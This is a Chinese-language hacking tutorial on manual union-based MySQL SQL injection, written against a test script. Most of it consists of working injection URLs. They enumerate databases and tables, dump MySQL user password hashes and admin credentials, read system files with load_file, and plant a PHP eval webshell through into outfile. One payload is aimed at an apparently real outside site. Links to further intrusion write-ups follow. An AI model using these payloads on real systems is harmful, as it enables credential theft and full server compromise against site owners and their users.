手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 79
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

入侵动网论坛和入侵传奇服务器

漏洞起因:很多白菜级的站长和管理员,把 "洞网论坛"与传奇服务器同时架设到同一台服务器上!   详细步骤:   1.它时至今日,仍然有很多站长不知道去修改数据库的路径,所以,对于这招攻击很灵,特别是动网的,默认为dvbbs7.mdb,大家可以用
收藏 0 赞 0 分享

入侵搜索关键字

默认数据库: Databases/myszw.mdb Databases/myszw1.mdb 上传 upload_Photo.asp?PhotoUrlID=3 upload_Photo.asp?PhotoUrlID=1 -------------------
收藏 0 赞 0 分享

80端口、512端口、3389端口……入侵实例

有很多网站为了安全起见,在WEB Server前面架了防火墙,或者做了TCP/IP过滤,对外只开放TCP 80端口。从入侵者角度来看,要入侵那么从80上跑的CGI入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证CGI的安全性,另外网络的整体安
收藏 0 赞 0 分享

一次渗透入侵某邮局过程(LINUX8.0)

自从我承担起一个项目的负责人后,原本没有规律的生活现在更变的没有头绪了........时间的因素决定了自己无法去做一些想做的事情。但是有些时候又不得不去做一些不想做的事情。。。。。。 得到一个MAIL信箱地址,我想拿到这个信箱的密码。至于什么原因促使我必须要拿
收藏 0 赞 0 分享

菜鸟的网吧常见漏洞入侵

第一课 首先试试“安全模式”漏洞。   到网吧后开机(不要管理员解锁),一会儿屏幕出现“Starting Windows ……”时,按下"F5"键启动到“安全模式&
收藏 0 赞 0 分享

黑客实战录之对防火墙机器的渗透

前几天群里的兄弟给了一个网站www.111.com,问我可不可以入侵。 一、踩点 ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。 二、注入 从源文件
收藏 0 赞 0 分享

利用Google进行入侵的原理

2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google? 和google attacks 的主题演讲。经过安全焦点论坛原版主WLJ翻译整理后,个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google
收藏 0 赞 0 分享

入侵DVBBS php官网详细过程(图)

几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱智的漏洞,DVBBS php2.0这套代码我还没仔细看过,于是5月中旬我down下来粗略看了下,接着我花了三天的时间,拿下p.dvbbs.net
收藏 0 赞 0 分享

利用ewebeditor编辑器批量检测网站(图)

现在越来越多的入侵是针对第三方的插件或者文件。那么笔者就带领大家走进ewebeditor在线文本编辑器的世界。了解该如何利用ewebeditor在线文本编辑器的疏漏来获取网站的权限。   说起安全检测的方法大家可能最熟悉的要属注入,上传或者利用网站的配置不当或者管理员的
收藏 0 赞 0 分享

KingCMS 5.0 后台拿WebShell(图)

注意:转载此篇文章请保留原作者的信息! [信息来源]:草哲’s BLOG [博客地址]:http://www.337479.cn/ [文章作者]:草哲 又有小半年没写教程了,今天在家没事做在网上闲逛,看到了一个网站搞的还不错,本想渗透一下,网站是PHP的,没有什么
收藏 0 赞 0 分享
查看更多